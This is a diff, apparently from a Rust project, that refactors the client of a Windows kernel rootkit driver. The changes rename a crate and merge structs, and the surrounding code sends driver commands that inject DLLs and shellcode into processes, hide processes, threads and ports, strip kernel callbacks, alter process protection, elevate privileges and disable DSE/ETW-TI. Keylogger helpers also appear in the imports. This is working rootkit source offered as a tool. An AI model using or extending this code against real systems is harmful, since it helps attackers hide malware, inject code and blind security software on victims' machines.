match sub_command {
|
||||||
InjectionCommands::DLL { pid, path, type_ } => match type_ {
|
InjectionCommands::DLL { pid, path, type_ } => match type_ {
|
||||||
InjectionTypes::Thread => injection.injection_thread(IOCTL_INJECTION_DLL_THREAD, pid, path),
|
InjectionTypes::Thread => injection.injection_thread(INJECTION_DLL_THREAD, pid, path),
|
||||||
InjectionTypes::APC => injection.injection_apc(IOCTL_INJECTION_DLL_APC, pid, path),
|
InjectionTypes::APC => injection.injection_apc(INJECTION_DLL_APC, pid, path),
|
||||||
},
|
},
|
||||||
InjectionCommands::Shellcode { pid, path, type_ } => match type_ {
|
InjectionCommands::Shellcode { pid, path, type_ } => match type_ {
|
||||||
InjectionTypes::Thread => injection.injection_thread(IOCTL_INJECTION_SHELLCODE_THREAD, pid, path),
|
InjectionTypes::Thread => injection.injection_thread(INJECTION_SHELLCODE_THREAD, pid, path),
|
||||||
InjectionTypes::APC => injection.injection_apc(IOCTL_INJECTION_SHELLCODE_APC, pid, path)
|
InjectionTypes::APC => injection.injection_apc(INJECTION_SHELLCODE_APC, pid, path)
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
use {
|
use {
|
||||||
log::*,
|
log::*,
|
||||||
crate::{utils::Callbacks, utils::open_driver},
|
crate::{utils::Callbacks, utils::open_driver},
|
||||||
shared::structs::{CallbackInfoInput, CallbackInfoOutput},
|
common::structs::{CallbackInfoInput, CallbackInfoOutput},
|
||||||
std::{ffi::c_void, mem::size_of, ptr::null_mut},
|
std::{ffi::c_void, mem::size_of, ptr::null_mut},
|
||||||
windows_sys::Win32::{
|
windows_sys::Win32::{
|
||||||
System::IO::DeviceIoControl,
|
System::IO::DeviceIoControl,
|
||||||
@@ -14,7 +14,7 @@ pub struct Callback {
|
|||||||
|
|
||||||
impl Callback {
|
impl Callback {
|
||||||
pub fn new() -> Self {
|
pub fn new() -> Self {
|
||||||
let driver_handle = open_driver().expect("Failed to open driver");
|
let driver_handle = open_driver().expect("Error");
|
||||||
Callback { driver_handle }
|
Callback { driver_handle }
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -2,7 +2,7 @@ use {
|
|||||||
crate::utils::open_driver,
|
crate::utils::open_driver,
|
||||||
core::mem::size_of,
|
core::mem::size_of,
|
||||||
log::*,
|
log::*,
|
||||||
shared::structs::{DriverInfo, TargetDriver},
|
common::structs::{DriverInfo, TargetDriver},
|
||||||
std::{ffi::c_void, ptr::null_mut},
|
std::{ffi::c_void, ptr::null_mut},
|
||||||
windows_sys::Win32::{
|
windows_sys::Win32::{
|
||||||
System::IO::DeviceIoControl,
|
System::IO::DeviceIoControl,
|
||||||
@@ -16,7 +16,7 @@ pub struct Driver {
|
|||||||
|
|
||||||
impl Driver {
|
impl Driver {
|
||||||
pub fn new() -> Self {
|
pub fn new() -> Self {
|
||||||
let driver_handle = open_driver().expect("Failed to open driver");
|
let driver_handle = open_driver().expect("Error");
|
||||||
Driver { driver_handle }
|
Driver { driver_handle }
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,9 +1,9 @@
|
|||||||
use {
|
use {
|
||||||
crate::{utils::check_file, utils::open_driver},
|
|
||||||
core::ffi::c_void,
|
core::ffi::c_void,
|
||||||
log::*,
|
|
||||||
shared::structs::TargetInjection,
|
|
||||||
std::ptr::null_mut,
|
std::ptr::null_mut,
|
||||||
|
log::{info, error, debug},
|
||||||
|
common::structs::TargetInjection,
|
||||||
|
crate::{utils::check_file, utils::open_driver},
|
||||||
windows_sys::Win32::{
|
windows_sys::Win32::{
|
||||||
Foundation::{CloseHandle, HANDLE},
|
Foundation::{CloseHandle, HANDLE},
|
||||||
System::IO::DeviceIoControl
|
System::IO::DeviceIoControl
|
||||||
@@ -16,7 +16,7 @@ pub struct Injection {
|
|||||||
|
|
||||||
impl Injection {
|
impl Injection {
|
||||||
pub fn new() -> Self {
|
pub fn new() -> Self {
|
||||||
let driver_handle = open_driver().expect("Failed to open driver");
|
let driver_handle = open_driver().expect("Error");
|
||||||
Injection { driver_handle }
|
Injection { driver_handle }
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -43,7 +43,7 @@ impl Injection {
|
|||||||
self.driver_handle,
|
self.driver_handle,
|
||||||
ioctl_code,
|
ioctl_code,
|
||||||
&mut info_injection as *mut _ as *mut c_void,
|
&mut info_injection as *mut _ as *mut c_void,
|
||||||
std::mem::size_of::<TargetInjection>() as u32,
|
size_of::<TargetInjection>() as u32,
|
||||||
null_mut(),
|
null_mut(),
|
||||||
0,
|
0,
|
||||||
&mut return_buffer,
|
&mut return_buffer,
|
||||||
@@ -81,7 +81,7 @@ impl Injection {
|
|||||||
self.driver_handle,
|
self.driver_handle,
|
||||||
ioctl_code,
|
ioctl_code,
|
||||||
&mut info_injection as *mut _ as *mut c_void,
|
&mut info_injection as *mut _ as *mut c_void,
|
||||||
std::mem::size_of::<TargetInjection>() as u32,
|
size_of::<TargetInjection>() as u32,
|
||||||
null_mut(),
|
null_mut(),
|
||||||
0,
|
0,
|
||||||
&mut return_buffer,
|
&mut return_buffer,
|
||||||
|
|||||||
@@ -1,27 +0,0 @@
|
|||||||
use std::ptr::null_mut;
|
|
||||||
use windows_sys::Win32::System::IO::DeviceIoControl;
|
|
||||||
use crate::modules::driver::open_driver;
|
|
||||||
|
|
||||||
pub fn enumerate_pool(ioctl_code: u32) {
|
|
||||||
let h_file = open_driver().expect("Failed open driver");
|
|
||||||
let status;
|
|
||||||
let mut return_buffer = 0;
|
|
||||||
status = unsafe {
|
|
||||||
DeviceIoControl(
|
|
||||||
h_file,
|
|
||||||
ioctl_code,
|
|
||||||
null_mut(),
|
|
||||||
0,
|
|
||||||
null_mut(),
|
|
||||||
0,
|
|
||||||
&mut return_buffer,
|
|
||||||
null_mut()
|
|
||||||
)
|
|
||||||
};
|
|
||||||
|
|
||||||
if status == 0 {
|
|
||||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
|
||||||
} else {
|
|
||||||
println!("[+] Enumerate Module start");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,6 +1,6 @@
|
|||||||
use {
|
use {
|
||||||
log::*,
|
log::{info, debug, error},
|
||||||
shared::structs::{DSE, ETWTI},
|
common::structs::{DSE, ETWTI},
|
||||||
crate::utils::{
|
crate::utils::{
|
||||||
vk_to_char, update_key_state, key_pressed,
|
vk_to_char, update_key_state, key_pressed,
|
||||||
get_process_by_name, open_driver,
|
get_process_by_name, open_driver,
|
||||||
@@ -33,7 +33,7 @@ pub struct Misc {
|
|||||||
|
|
||||||
impl Misc {
|
impl Misc {
|
||||||
pub fn new() -> Self {
|
pub fn new() -> Self {
|
||||||
let driver_handle = open_driver().expect("Failed to open driver");
|
let driver_handle = open_driver().expect("Error");
|
||||||
Misc { driver_handle }
|
Misc { driver_handle }
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -2,7 +2,7 @@ use {
|
|||||||
log::*,
|
log::*,
|
||||||
crate::utils::open_driver,
|
crate::utils::open_driver,
|
||||||
std::{ffi::c_void, mem::size_of, ptr::null_mut},
|
std::{ffi::c_void, mem::size_of, ptr::null_mut},
|
||||||
shared::structs::{ModuleInfo, TargetModule, TargetProcess},
|
common::structs::{ModuleInfo, TargetModule, TargetProcess},
|
||||||
windows_sys::Win32::{
|
windows_sys::Win32::{
|
||||||
System::IO::DeviceIoControl,
|
System::IO::DeviceIoControl,
|
||||||
Foundation::{CloseHandle, GetLastError, HANDLE},
|
Foundation::{CloseHandle, GetLastError, HANDLE},
|
||||||
@@ -15,7 +15,7 @@ pub struct Module {
|
|||||||
|
|
||||||
impl Module {
|
impl Module {
|
||||||
pub fn new() -> Self {
|
pub fn new() -> Self {
|
||||||
let driver_handle = open_driver().expect("Failed to open driver");
|
let driver_handle = open_driver().expect("Error");
|
||||||
Module { driver_handle }
|
Module { driver_handle }
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -24,7 +24,7 @@ impl Module {
|
|||||||
|
|
||||||
debug!("Preparing structure for pid: {pid}");
|
debug!("Preparing structure for pid: {pid}");
|
||||||
let mut module_info: [ModuleInfo; 400] = unsafe { std::mem::zeroed() };
|
let mut module_info: [ModuleInfo; 400] = unsafe { std::mem::zeroed() };
|
||||||
let mut input_module = TargetProcess { pid: *pid as usize };
|
let mut input_module = TargetProcess { pid: *pid as usize, ..Default::default() };
|
||||||
|
|
||||||
debug!("Sending DeviceIoControl command to enumerate modules for PID: {pid}");
|
debug!("Sending DeviceIoControl command to enumerate modules for PID: {pid}");
|
||||||
let mut return_buffer = 0;
|
let mut return_buffer = 0;
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
use {
|
use {
|
||||||
log::*,
|
log::*,
|
||||||
shared::structs::PortInfo,
|
common::structs::TargetPort,
|
||||||
std::{ptr::null_mut, ffi::c_void},
|
std::{ptr::null_mut, ffi::c_void},
|
||||||
crate::utils::{open_driver, PortType, Protocol},
|
crate::utils::{open_driver, PortType, Protocol},
|
||||||
windows_sys::Win32::{
|
windows_sys::Win32::{
|
||||||
@@ -15,12 +15,12 @@ pub struct Port {
|
|||||||
|
|
||||||
impl Port {
|
impl Port {
|
||||||
pub fn new() -> Self {
|
pub fn new() -> Self {
|
||||||
let driver_handle = open_driver().expect("Failed to open driver");
|
let driver_handle = open_driver().expect("Error");
|
||||||
Port { driver_handle }
|
Port { driver_handle }
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn hide_unhide_port(self, ioctl_code: u32, protocol: Protocol, port_type: PortType, port_number: u16, enable: bool) {
|
pub fn hide_unhide_port(self, ioctl_code: u32, protocol: Protocol, port_type: PortType, port_number: u16, enable: bool) {
|
||||||
let mut port_info = PortInfo {
|
let mut port_info = TargetPort {
|
||||||
protocol: protocol.to_shared(),
|
protocol: protocol.to_shared(),
|
||||||
port_type: port_type.to_shared(),
|
port_type: port_type.to_shared(),
|
||||||
port_number,
|
port_number,
|
||||||
@@ -33,7 +33,7 @@ impl Port {
|
|||||||
self.driver_handle,
|
self.driver_handle,
|
||||||
ioctl_code,
|
ioctl_code,
|
||||||
&mut port_info as *mut _ as *mut c_void,
|
&mut port_info as *mut _ as *mut c_void,
|
||||||
size_of::<PortInfo>() as u32,
|
size_of::<TargetPort>() as u32,
|
||||||
null_mut(),
|
null_mut(),
|
||||||
0,
|
0,
|
||||||
&mut return_buffer,
|
&mut return_buffer,
|
||||||
|
|||||||
@@ -5,12 +5,9 @@ use {
|
|||||||
utils::{open_driver, Options},
|
utils::{open_driver, Options},
|
||||||
PS_PROTECTED_SIGNER, PS_PROTECTED_TYPE,
|
PS_PROTECTED_SIGNER, PS_PROTECTED_TYPE,
|
||||||
},
|
},
|
||||||
shared::{
|
common::{
|
||||||
vars::MAX_PID,
|
vars::MAX_PID,
|
||||||
structs::{
|
structs::TargetProcess,
|
||||||
EnumerateInfoInput, ProcessInfoHide, ProcessListInfo,
|
|
||||||
ProcessSignature, TargetProcess
|
|
||||||
},
|
|
||||||
},
|
},
|
||||||
windows_sys::Win32::{
|
windows_sys::Win32::{
|
||||||
System::IO::DeviceIoControl,
|
System::IO::DeviceIoControl,
|
||||||
@@ -24,7 +21,7 @@ pub struct Process {
|
|||||||
|
|
||||||
impl Process {
|
impl Process {
|
||||||
pub fn new() -> Self {
|
pub fn new() -> Self {
|
||||||
let driver_handle = open_driver().expect("Failed to open driver");
|
let driver_handle = open_driver().expect("Error");
|
||||||
Process { driver_handle }
|
Process { driver_handle }
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -32,7 +29,7 @@ impl Process {
|
|||||||
if let Some(pid_value) = pid {
|
if let Some(pid_value) = pid {
|
||||||
info!("Preparing to {} process: {}", if enable { "hide" } else { "unhide" }, pid_value);
|
info!("Preparing to {} process: {}", if enable { "hide" } else { "unhide" }, pid_value);
|
||||||
let pid = *pid_value as usize;
|
let pid = *pid_value as usize;
|
||||||
let mut target_process = ProcessInfoHide { enable, pid };
|
let mut target_process = TargetProcess { enable, pid, ..Default::default() };
|
||||||
let mut return_buffer = 0;
|
let mut return_buffer = 0;
|
||||||
|
|
||||||
let status = unsafe {
|
let status = unsafe {
|
||||||
@@ -40,7 +37,7 @@ impl Process {
|
|||||||
self.driver_handle,
|
self.driver_handle,
|
||||||
ioctl_code,
|
ioctl_code,
|
||||||
&mut target_process as *mut _ as *mut c_void,
|
&mut target_process as *mut _ as *mut c_void,
|
||||||
size_of::<ProcessInfoHide>() as u32,
|
size_of::<TargetProcess>() as u32,
|
||||||
null_mut(),
|
null_mut(),
|
||||||
0,
|
0,
|
||||||
&mut return_buffer,
|
&mut return_buffer,
|
||||||
@@ -62,7 +59,7 @@ impl Process {
|
|||||||
if let Some(pid_value) = pid {
|
if let Some(pid_value) = pid {
|
||||||
info!("Preparing to terminate process: {}", pid_value);
|
info!("Preparing to terminate process: {}", pid_value);
|
||||||
let pid = *pid_value as usize;
|
let pid = *pid_value as usize;
|
||||||
let mut target_process = TargetProcess { pid };
|
let mut target_process = TargetProcess { pid, ..Default::default() };
|
||||||
let mut return_buffer = 0;
|
let mut return_buffer = 0;
|
||||||
|
|
||||||
let status = unsafe {
|
let status = unsafe {
|
||||||
@@ -93,7 +90,7 @@ impl Process {
|
|||||||
if let Some(pid_value) = pid {
|
if let Some(pid_value) = pid {
|
||||||
info!("Preparing to {} protection for process: {}", if enable { "enable" } else { "disable" }, pid_value);
|
info!("Preparing to {} protection for process: {}", if enable { "enable" } else { "disable" }, pid_value);
|
||||||
let pid = *pid_value as usize;
|
let pid = *pid_value as usize;
|
||||||
let mut target_process = shared::structs::ProcessProtection { pid, enable };
|
let mut target_process = TargetProcess { pid, enable, ..Default::default() };
|
||||||
let mut return_buffer = 0;
|
let mut return_buffer = 0;
|
||||||
|
|
||||||
let status = unsafe {
|
let status = unsafe {
|
||||||
@@ -101,7 +98,7 @@ impl Process {
|
|||||||
self.driver_handle,
|
self.driver_handle,
|
||||||
ioctl_code,
|
ioctl_code,
|
||||||
&mut target_process as *mut _ as *mut c_void,
|
&mut target_process as *mut _ as *mut c_void,
|
||||||
size_of::<shared::structs::ProcessProtection>() as u32,
|
size_of::<TargetProcess>() as u32,
|
||||||
null_mut(),
|
null_mut(),
|
||||||
0,
|
0,
|
||||||
&mut return_buffer,
|
&mut return_buffer,
|
||||||
@@ -120,9 +117,10 @@ impl Process {
|
|||||||
}
|
}
|
||||||
|
|
||||||
pub fn enumerate_process(&mut self, ioctl_code: u32, option: &Options) {
|
pub fn enumerate_process(&mut self, ioctl_code: u32, option: &Options) {
|
||||||
let mut info_process: [ProcessListInfo; MAX_PID] = unsafe { std::mem::zeroed() };
|
let mut info_process: [TargetProcess; MAX_PID] = unsafe { std::mem::zeroed() };
|
||||||
let mut enumeration_input = EnumerateInfoInput {
|
let mut enumeration_input = TargetProcess {
|
||||||
options: option.to_shared(),
|
options: option.to_shared(),
|
||||||
|
..Default::default()
|
||||||
};
|
};
|
||||||
|
|
||||||
let mut return_buffer = 0;
|
let mut return_buffer = 0;
|
||||||
@@ -131,9 +129,9 @@ impl Process {
|
|||||||
self.driver_handle,
|
self.driver_handle,
|
||||||
ioctl_code,
|
ioctl_code,
|
||||||
&mut enumeration_input as *mut _ as *mut c_void,
|
&mut enumeration_input as *mut _ as *mut c_void,
|
||||||
size_of::<EnumerateInfoInput>() as u32,
|
size_of::<TargetProcess>() as u32,
|
||||||
info_process.as_mut_ptr() as *mut _,
|
info_process.as_mut_ptr() as *mut _,
|
||||||
(info_process.len() * size_of::<ProcessListInfo>()) as u32,
|
(info_process.len() * size_of::<TargetProcess>()) as u32,
|
||||||
&mut return_buffer,
|
&mut return_buffer,
|
||||||
null_mut(),
|
null_mut(),
|
||||||
)
|
)
|
||||||
@@ -142,12 +140,12 @@ impl Process {
|
|||||||
if status == 0 {
|
if status == 0 {
|
||||||
error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe { GetLastError() });
|
error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe { GetLastError() });
|
||||||
} else {
|
} else {
|
||||||
let total_process = return_buffer as usize / size_of::<ProcessListInfo>();
|
let total_process = return_buffer as usize / size_of::<TargetProcess>();
|
||||||
info!("Total Processes: {}", total_process);
|
info!("Total Processes: {}", total_process);
|
||||||
println!("Listing Processes:");
|
println!("Listing Processes:");
|
||||||
for (i, process) in info_process.iter().enumerate().take(total_process) {
|
for (i, process) in info_process.iter().enumerate().take(total_process) {
|
||||||
if process.pids > 0 {
|
if process.pid > 0 {
|
||||||
println!("[{}] {}", i, process.pids);
|
println!("[{}] {}", i, process.pid);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -159,7 +157,7 @@ impl Process {
|
|||||||
let pid = *pid_value as usize;
|
let pid = *pid_value as usize;
|
||||||
let sg = *sg as usize;
|
let sg = *sg as usize;
|
||||||
let tp = *tp as usize;
|
let tp = *tp as usize;
|
||||||
let mut info_protection_process = ProcessSignature { pid, sg, tp };
|
let mut info_protection_process = TargetProcess { pid, sg, tp, ..Default::default() };
|
||||||
let mut return_buffer = 0;
|
let mut return_buffer = 0;
|
||||||
|
|
||||||
let status = unsafe {
|
let status = unsafe {
|
||||||
@@ -167,7 +165,7 @@ impl Process {
|
|||||||
self.driver_handle,
|
self.driver_handle,
|
||||||
ioctl_code,
|
ioctl_code,
|
||||||
&mut info_protection_process as *mut _ as *mut c_void,
|
&mut info_protection_process as *mut _ as *mut c_void,
|
||||||
size_of::<ProcessSignature>() as u32,
|
size_of::<TargetProcess>() as u32,
|
||||||
null_mut(),
|
null_mut(),
|
||||||
0,
|
0,
|
||||||
&mut return_buffer,
|
&mut return_buffer,
|
||||||
@@ -187,7 +185,7 @@ impl Process {
|
|||||||
if let Some(pid_value) = pid {
|
if let Some(pid_value) = pid {
|
||||||
info!("Preparing to elevate process: {}", pid_value);
|
info!("Preparing to elevate process: {}", pid_value);
|
||||||
let pid = *pid_value as usize;
|
let pid = *pid_value as usize;
|
||||||
let mut target_process = TargetProcess { pid };
|
let mut target_process = TargetProcess { pid, ..Default::default() };
|
||||||
let mut return_buffer = 0;
|
let mut return_buffer = 0;
|
||||||
|
|
||||||
let status = unsafe {
|
let status = unsafe {
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
use {
|
use {
|
||||||
crate::utils::open_driver,
|
crate::utils::open_driver,
|
||||||
log::*,
|
log::*,
|
||||||
shared::structs::TargetRegistry,
|
common::structs::TargetRegistry,
|
||||||
std::{ffi::c_void, ptr::null_mut},
|
std::{ffi::c_void, ptr::null_mut},
|
||||||
windows_sys::Win32::{
|
windows_sys::Win32::{
|
||||||
System::IO::DeviceIoControl,
|
System::IO::DeviceIoControl,
|
||||||
@@ -15,7 +15,7 @@ pub struct Registry {
|
|||||||
|
|
||||||
impl Registry {
|
impl Registry {
|
||||||
pub fn new() -> Self {
|
pub fn new() -> Self {
|
||||||
let driver_handle = open_driver().expect("Failed to open driver");
|
let driver_handle = open_driver().expect("Error");
|
||||||
Registry { driver_handle }
|
Registry { driver_handle }
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,8 +1,8 @@
|
|||||||
use {
|
use {
|
||||||
crate::utils::{open_driver, Options},
|
crate::utils::{open_driver, Options},
|
||||||
log::*,
|
log::*,
|
||||||
shared::{
|
common::{
|
||||||
structs::{EnumerateInfoInput, TargetThread, ThreadListInfo},
|
structs::TargetThread,
|
||||||
vars::MAX_TID,
|
vars::MAX_TID,
|
||||||
},
|
},
|
||||||
std::{ffi::c_void, mem::size_of, ptr::null_mut},
|
std::{ffi::c_void, mem::size_of, ptr::null_mut},
|
||||||
@@ -18,7 +18,7 @@ pub struct Thread {
|
|||||||
|
|
||||||
impl Thread {
|
impl Thread {
|
||||||
pub fn new() -> Self {
|
pub fn new() -> Self {
|
||||||
let driver_handle = open_driver().expect("Failed to open driver");
|
let driver_handle = open_driver().expect("Error");
|
||||||
Thread { driver_handle }
|
Thread { driver_handle }
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -28,7 +28,7 @@ impl Thread {
|
|||||||
debug!("Preparing structure for TID: {}", tid_value);
|
debug!("Preparing structure for TID: {}", tid_value);
|
||||||
let mut return_buffer = 0;
|
let mut return_buffer = 0;
|
||||||
let tid = *tid_value as usize;
|
let tid = *tid_value as usize;
|
||||||
let mut target_thread = TargetThread { tid, enable };
|
let mut target_thread = TargetThread { tid, enable, ..Default::default() };
|
||||||
|
|
||||||
debug!("Sending DeviceIoControl command to {} thread", if enable { "hide" } else { "unhide" });
|
debug!("Sending DeviceIoControl command to {} thread", if enable { "hide" } else { "unhide" });
|
||||||
let status = unsafe {
|
let status = unsafe {
|
||||||
@@ -61,7 +61,7 @@ impl Thread {
|
|||||||
debug!("Preparing structure for TID: {}", tid_value);
|
debug!("Preparing structure for TID: {}", tid_value);
|
||||||
let mut return_buffer = 0;
|
let mut return_buffer = 0;
|
||||||
let tid = *tid_value as usize;
|
let tid = *tid_value as usize;
|
||||||
let mut target_thread = shared::structs::ThreadProtection { tid, enable };
|
let mut target_thread = TargetThread { tid, enable, ..Default::default() };
|
||||||
|
|
||||||
debug!("Sending DeviceIoControl command to {} thread protection", if enable { "enable" } else { "disable" });
|
debug!("Sending DeviceIoControl command to {} thread protection", if enable { "enable" } else { "disable" });
|
||||||
let status = unsafe {
|
let status = unsafe {
|
||||||
@@ -69,7 +69,7 @@ impl Thread {
|
|||||||
self.driver_handle,
|
self.driver_handle,
|
||||||
ioctl_code,
|
ioctl_code,
|
||||||
&mut target_thread as *mut _ as *mut c_void,
|
&mut target_thread as *mut _ as *mut c_void,
|
||||||
size_of::<shared::structs::ThreadProtection>() as u32,
|
size_of::<TargetThread>() as u32,
|
||||||
null_mut(),
|
null_mut(),
|
||||||
0,
|
0,
|
||||||
&mut return_buffer,
|
&mut return_buffer,
|
||||||
@@ -89,9 +89,10 @@ impl Thread {
|
|||||||
|
|
||||||
pub fn enumerate_thread(self, ioctl_code: u32, option: &Options) {
|
pub fn enumerate_thread(self, ioctl_code: u32, option: &Options) {
|
||||||
debug!("Attempting to open the driver for thread enumeration");
|
debug!("Attempting to open the driver for thread enumeration");
|
||||||
let mut info_thread: [ThreadListInfo; MAX_TID] = unsafe { std::mem::zeroed() };
|
let mut info_thread: [TargetThread; MAX_TID] = unsafe { std::mem::zeroed() };
|
||||||
let mut enumeration_input = EnumerateInfoInput {
|
let mut enumeration_input = TargetThread {
|
||||||
options: option.to_shared(),
|
options: option.to_shared(),
|
||||||
|
..Default::default()
|
||||||
};
|
};
|
||||||
|
|
||||||
debug!("Sending DeviceIoControl command to enumerate threads");
|
debug!("Sending DeviceIoControl command to enumerate threads");
|
||||||
@@ -101,9 +102,9 @@ impl Thread {
|
|||||||
self.driver_handle,
|
self.driver_handle,
|
||||||
ioctl_code,
|
ioctl_code,
|
||||||
&mut enumeration_input as *mut _ as *mut c_void,
|
&mut enumeration_input as *mut _ as *mut c_void,
|
||||||
size_of::<EnumerateInfoInput>() as u32,
|
size_of::<TargetThread>() as u32,
|
||||||
info_thread.as_mut_ptr() as *mut _,
|
info_thread.as_mut_ptr() as *mut _,
|
||||||
(info_thread.len() * size_of::<ThreadListInfo>()) as u32,
|
(info_thread.len() * size_of::<TargetThread>()) as u32,
|
||||||
&mut return_buffer,
|
&mut return_buffer,
|
||||||
null_mut(),
|
null_mut(),
|
||||||
)
|
)
|
||||||
@@ -112,11 +113,11 @@ impl Thread {
|
|||||||
if status == 0 {
|
if status == 0 {
|
||||||
error!("DeviceIoControl Failed with status: 0x{:08X}", status);
|
error!("DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||||
} else {
|
} else {
|
||||||
let total_threads = return_buffer as usize / size_of::<ThreadListInfo>();
|
let total_threads = return_buffer as usize / size_of::<TargetThread>();
|
||||||
info!("Total Threads: {}", total_threads);
|
info!("Total Threads: {}", total_threads);
|
||||||
for (i, thread) in info_thread.iter().enumerate().take(total_threads) {
|
for (i, thread) in info_thread.iter().enumerate().take(total_threads) {
|
||||||
if thread.tids > 0 {
|
if thread.tid > 0 {
|
||||||
info!("[{}] {}", i, info_thread[i].tids);
|
info!("[{}] {}", i, info_thread[i].tid);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -52,7 +52,7 @@ pub fn check_file(file: &String) -> bool {
|
|||||||
/// - `Ok(HANDLE)` if the driver handle is successfully opened.
|
/// - `Ok(HANDLE)` if the driver handle is successfully opened.
|
||||||
/// - `Err(())` if there is an error.
|
/// - `Err(())` if there is an error.
|
||||||
///
|
///
|
||||||
pub fn open_driver() -> Result<HANDLE, ()> {
|
pub fn open_driver() -> Result<HANDLE, &'static str> {
|
||||||
info!("Opening driver handle");
|
info!("Opening driver handle");
|
||||||
|
|
||||||
let h_file = unsafe {
|
let h_file = unsafe {
|
||||||
@@ -63,13 +63,13 @@ pub fn open_driver() -> Result<HANDLE, ()> {
|
|||||||
null_mut(),
|
null_mut(),
|
||||||
OPEN_EXISTING,
|
OPEN_EXISTING,
|
||||||
FILE_ATTRIBUTE_NORMAL,
|
FILE_ATTRIBUTE_NORMAL,
|
||||||
0,
|
null_mut(),
|
||||||
)
|
)
|
||||||
};
|
};
|
||||||
|
|
||||||
if h_file == INVALID_HANDLE_VALUE {
|
if h_file == INVALID_HANDLE_VALUE {
|
||||||
error!("CreateFileW failed with error: {:?}", unsafe { GetLastError() });
|
error!("CreateFileW failed with error: {}", unsafe { GetLastError() });
|
||||||
return Err(());
|
return Err("Failed to open the driver.");
|
||||||
}
|
}
|
||||||
|
|
||||||
info!("Driver handle successfully opened");
|
info!("Driver handle successfully opened");
|
||||||
@@ -172,16 +172,16 @@ impl Callbacks {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// A `shared::enums::Callbacks` variant corresponding to the selected callback.
|
/// A `common::enums::Callbacks` variant corresponding to the selected callback.
|
||||||
///
|
///
|
||||||
pub fn to_shared(self) -> shared::enums::Callbacks {
|
pub fn to_shared(self) -> common::enums::Callbacks {
|
||||||
match self {
|
match self {
|
||||||
Callbacks::Process => shared::enums::Callbacks::PsSetCreateProcessNotifyRoutine,
|
Callbacks::Process => common::enums::Callbacks::PsSetCreateProcessNotifyRoutine,
|
||||||
Callbacks::Thread => shared::enums::Callbacks::PsSetCreateThreadNotifyRoutine,
|
Callbacks::Thread => common::enums::Callbacks::PsSetCreateThreadNotifyRoutine,
|
||||||
Callbacks::LoadImage => shared::enums::Callbacks::PsSetLoadImageNotifyRoutine,
|
Callbacks::LoadImage => common::enums::Callbacks::PsSetLoadImageNotifyRoutine,
|
||||||
Callbacks::Registry => shared::enums::Callbacks::CmRegisterCallbackEx,
|
Callbacks::Registry => common::enums::Callbacks::CmRegisterCallbackEx,
|
||||||
Callbacks::ObProcess => shared::enums::Callbacks::ObProcess,
|
Callbacks::ObProcess => common::enums::Callbacks::ObProcess,
|
||||||
Callbacks::ObThread => shared::enums::Callbacks::ObThread,
|
Callbacks::ObThread => common::enums::Callbacks::ObThread,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -201,13 +201,13 @@ impl Options {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// A `shared::enums::Options` variant corresponding to the selected option.
|
/// A `common::enums::Options` variant corresponding to the selected option.
|
||||||
///
|
///
|
||||||
pub fn to_shared(self) -> shared::enums::Options {
|
pub fn to_shared(self) -> common::enums::Options {
|
||||||
match self {
|
match self {
|
||||||
Options::Hide => shared::enums::Options::Hide,
|
Options::Hide => common::enums::Options::Hide,
|
||||||
#[cfg(not(feature = "mapper"))]
|
#[cfg(not(feature = "mapper"))]
|
||||||
Options::Protection => shared::enums::Options::Protection,
|
Options::Protection => common::enums::Options::Protection,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -226,12 +226,12 @@ impl Protocol {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// A `shared::enums::Protocol` variant corresponding to the selected protocol.
|
/// A `common::enums::Protocol` variant corresponding to the selected protocol.
|
||||||
///
|
///
|
||||||
pub fn to_shared(self) -> shared::enums::Protocol {
|
pub fn to_shared(self) -> common::enums::Protocol {
|
||||||
match self {
|
match self {
|
||||||
Protocol::TCP => shared::enums::Protocol::TCP,
|
Protocol::TCP => common::enums::Protocol::TCP,
|
||||||
Protocol::UDP => shared::enums::Protocol::UDP,
|
Protocol::UDP => common::enums::Protocol::UDP,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -250,12 +250,12 @@ impl PortType {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// A `shared::enums::PortType` variant corresponding to the selected port type.
|
/// A `common::enums::PortType` variant corresponding to the selected port type.
|
||||||
///
|
///
|
||||||
pub fn to_shared(self) -> shared::enums::PortType {
|
pub fn to_shared(self) -> common::enums::PortType {
|
||||||
match self {
|
match self {
|
||||||
PortType::LOCAL => shared::enums::PortType::LOCAL,
|
PortType::LOCAL => common::enums::PortType::LOCAL,
|
||||||
PortType::REMOTE => shared::enums::PortType::REMOTE,
|
PortType::REMOTE => common::enums::PortType::REMOTE,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
[package]
|
[package]
|
||||||
name = "shared"
|
name = "common"
|
||||||
